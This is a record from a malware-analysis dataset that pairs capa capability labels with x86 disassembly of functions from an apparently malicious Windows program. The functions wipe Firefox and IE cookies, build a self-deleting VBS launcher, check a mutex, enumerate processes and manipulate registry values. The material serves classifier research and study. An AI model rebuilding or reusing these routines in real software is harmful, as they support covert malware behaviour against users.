joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407a00
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004021b9
lea ecx, [ebp - 0x18]
call fcn.004021b9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402168
push eax
push 0x458744
call fcn.0043151d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402a5d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040208b
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402081
lea eax, [ebp - 0x1b8]
push eax
push 0x458704
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406395
pop ecx
mov ecx, eax
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00402081
cmp esi, 0xffffffff
jne 0x407ab0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402168
call fcn.00407e6f
add esp, 0x18
jmp 0x407baa
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x407b8c
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x407b76
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x407aec
movzx eax, byte [ecx + 1]
test al, al
je 0x407b76
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x458864
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x407b12
inc ecx
cmp ecx, 3
jne 0x407af4
mov eax, ebx
jmp 0x407b17
sbb eax, eax
or eax, 1
test eax, eax
je 0x407b76
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406395
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406371
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040208b
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x78]
call fcn.00402081
lea ecx, [ebp - 0x30]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407bcd
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x407bc4
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407ac8
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402168
call fcn.00407e6f
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp - 0x30]
call fcn.00402081
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x407bac
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x407a9e
Function at 0x407bdc
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021b9
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040c82d
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
mov edx, 0x458564
lea ecx, [ebp - 0x18]
call fcn.00403f73
test al, al
je 0x407c49
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402168
call fcn.00407e6f
mov bl, 1
jmp 0x407ce7
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407c2e
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402168
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041338d
mov ecx, eax
call fcn.00404386
mov ecx, eax
call fcn.004136fa
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.004034ef
lea ecx, [ebp - 0x30]
call fcn.00402081
test esi, esi
je 0x407cc2
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x407c38
push ecx
push 0x458980
call fcn.00407e7b
test eax, eax
je 0x407cea
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402168
call fcn.00407e6f
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402081
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407e50
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x407cfa
push eax
push eax
mov byte [0x464a73], al
mov dword [0x464a7c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret

Function at 0x407ff6
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x466ec8
call fcn.00402018
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x4085e8
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
mov esi, 0x466ee0
push edi
mov ecx, esi
call fcn.00402010
push eax
mov ecx, esi
call fcn.00402018
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x466e98
call fcn.00402018
mov edx, eax
call fcn.0040c985
add esp, 0x14
xor edi, edi
test al, al
jne 0x408643
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.004130bc
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041338d
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00407526
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x48]
call fcn.00402081
lea eax, [ebp - 0x78]
push eax
push 0x458688
push 0x4589f8
call fcn.00431512
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407526
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00408c33
pop ecx
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x18]
call fcn.00405d32
push 0x458ba0
push 0x458ba4
lea ecx, [ebp - 0xc0]
call fcn.004034f9
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00407526
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00408bbd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407526
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00405c6d
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x90]
call fcn.004034ef
lea ecx, [ebp - 0xa8]
call fcn.004034ef
lea ecx, [ebp - 0xc0]
call fcn.004034ef
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00405c64
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404386
push eax
lea ecx, [ebp - 0x18]
call fcn.00402010
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00404386
mov edx, esi
mov ecx, eax
call fcn.004138ed
pop ecx
pop ecx
test al, al
je 0x4087ae
push edi
mov eax, 0x4585fc
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00404386
push eax
push 0x45858c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x4087ae
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.004034ef
lea ecx, [ebp - 0x60]
call fcn.004034ef
lea ecx, [ebp - 0x78]
call fcn.004034ef
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409ff9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004021b9
call fcn.004135ba
push 0
push 2
mov byte [0x466a14], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40a1d7
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40a1ba
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.004034f9
mov ecx, dword [ebp - 0x378]
push 0x458ebc
call fcn.004135e8
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.004132bd
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x458ec0
call fcn.004132bd
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x458ec0
call fcn.0041361e
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.0041344f
push eax
push 0x458ec0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.0041344f
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.00406309
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.00406371
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00406293
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406371
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00406293
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00406371
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406293
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406371
pop ecx
push eax
mov ecx, edi
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402081
lea ecx, [ebp - 0x78]
call fcn.00402081
lea ecx, [ebp - 0x90]
call fcn.00402081
lea ecx, [ebp - 0xa8]
call fcn.00402081
lea ecx, [ebp - 0xc0]
call fcn.00402081
lea ecx, [ebp - 0xd8]
call fcn.00402081
lea ecx, [ebp - 0xf0]
call fcn.00402081
lea ecx, [ebp - 0x108]
call fcn.00402081
lea ecx, [ebp - 0x120]
call fcn.004034ef
lea ecx, [ebp - 0x138]
call fcn.00402081
lea ecx, [ebp - 0x150]
call fcn.00402081
lea ecx, [ebp - 0x18]
call fcn.004034ef
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40a046
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40af7a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40b0b0
cmp byte [edi + 0x3d], bl
je 0x40b0b0
call fcn.00402a59
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.00408e94
pop ecx
pop ecx
test al, al
je 0x40afcf
xor al, al
jmp 0x40b0b2
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.0040213e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.00402304
mov ecx, eax
call fcn.00402caa
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402010
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.00402304
mov ecx, eax
call fcn.00402caa
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.00409246
sub eax, ebx
je 0x40b037
sub eax, 1
je 0x40b03a
dec eax
sub eax, 1
jne 0x40b0a3
inc eax
jmp 0x40b0a1
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.00402304
mov ecx, eax
call fcn.00402caa
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40b07f
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.00402304
mov ecx, eax
call fcn.00402caa
push eax
call fcn.004330f5
add esp, 0x10
cmp esi, eax
jne 0x40b09f
cmp byte [edi + 0x3d], bl
je 0x40b09d
test esi, esi
jne 0x40afdb
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00406229
jmp 0x40afdb
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00402081
mov al, bl
jmp 0x40b0b2
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c786
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c7c9
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x40c7cb
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c7d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c827
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c829
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c82d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c88e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0x40c890
lea eax, [ebp - 0x408]
push eax
jmp 0x40c895
mov ecx, edi
push 0x458564
call fcn.00402168
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c8a2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40c901
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push 0x458e84
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x40c906
push 0x4585fc
mov ecx, esi
call fcn.004034f9
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c914
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x458564
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40c974
cmp dword [ebp - 4], eax
jbe 0x40c974
push dword [ebp - 4]
call fcn.00431286
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.0042dbe0
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.004034f9
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c985
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c9f5
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40c9f5
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.00403f80
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.00404007
mov al, 1
jmp 0x40c9f7
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c9fc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40ca4c
push esi
lea ecx, [ebp + 0xc]
call fcn.00402010
push eax
lea ecx, [ebp + 0xc]
call fcn.00402018
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40ca4e
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00402081
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ca5d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40ca9b
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40ca9d
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x40caa1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40caf9
push esi
lea ecx, [ebp + 0xc]
call fcn.00402010
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.00404386
push eax
push 1
push 0
push str.pth_unenc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40cafb
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.004034ef
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40cb0a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40cb4c
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40cb4e
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40cb52
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cb90
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40cb92
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40cb96
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cbd4
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40cbd6
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40cc3e
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40cc5a
xor al, al
jmp 0x40cc6c
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret
Function at 0x40cc70
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.00449a30
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.0042dbe0
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40cd4e
test eax, eax
je 0x40cd4e
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40cd48
push 0x458ba0
lea ecx, [ebp - 0x34]
call fcn.004034f9
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.00408c57
pop ecx
push eax
mov ecx, 0x466fd0
call fcn.00405c6d
lea ecx, [ebp - 0x68]
call fcn.004034ef
lea ecx, [ebp - 0x34]
call fcn.004034ef
inc esi
cmp esi, dword [ebp - 4]
jb 0x40cce8
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40ce90
xor esi, esi
test eax, eax
je 0x40ce90
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x40ce86
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.004369b8
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x458ba0
call fcn.004034f9
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.00408c57
pop ecx
push eax
mov ecx, 0x466fe8
call fcn.00405c6d
lea ecx, [ebp - 0x34]
call fcn.004034ef
lea ecx, [ebp - 0x80]
call fcn.004034ef
push 0x458580
lea ecx, [ebp - 0x34]
call fcn.00402168
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.00402a5d
pop ecx
push eax
mov ecx, 0x467000
call fcn.0040205e
lea ecx, [ebp - 0x80]
call fcn.00402081
lea ecx, [ebp - 0x34]
call fcn.00402081
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402168
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040218f
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.00406293
pop ecx
push eax
mov ecx, 0x467098
call fcn.0040205e
lea ecx, [ebp - 0x80]
call fcn.00402081
lea ecx, [ebp - 0x34]
call fcn.00402081
lea ecx, [ebp - 0x98]
call fcn.00402081
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x40cd63
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d947
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and dword [eax], 0
push edi
push ecx
mov dword [ebp - 4], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x40d9c7
cmp word [esi + 8], 2
jne 0x40d9a9
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x40d9a9
mov edi, dword [esi + 0xc]
jmp 0x40d9a3
push dword [eax]
mov edx, dword [ebp + 8]
push dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
call fcn.0040d8de
mov ecx, eax
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
test ecx, ecx
je 0x40d9c2
lea eax, [ecx + 0x1c]
add edi, 4
mov dword [ebp + 0x14], eax
mov eax, dword [edi]
test eax, eax
jne 0x40d97f
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.00434623
add esp, 0x10
xor eax, eax
jmp 0x40d9e5
push 8
pop eax
jmp 0x40d9e5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x40d9e3
sub eax, 1
je 0x40d9f5
sub eax, 1
je 0x40d9ee
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0x2afb
jmp 0x40d9e5
mov eax, 0x2afa
jmp 0x40d9e5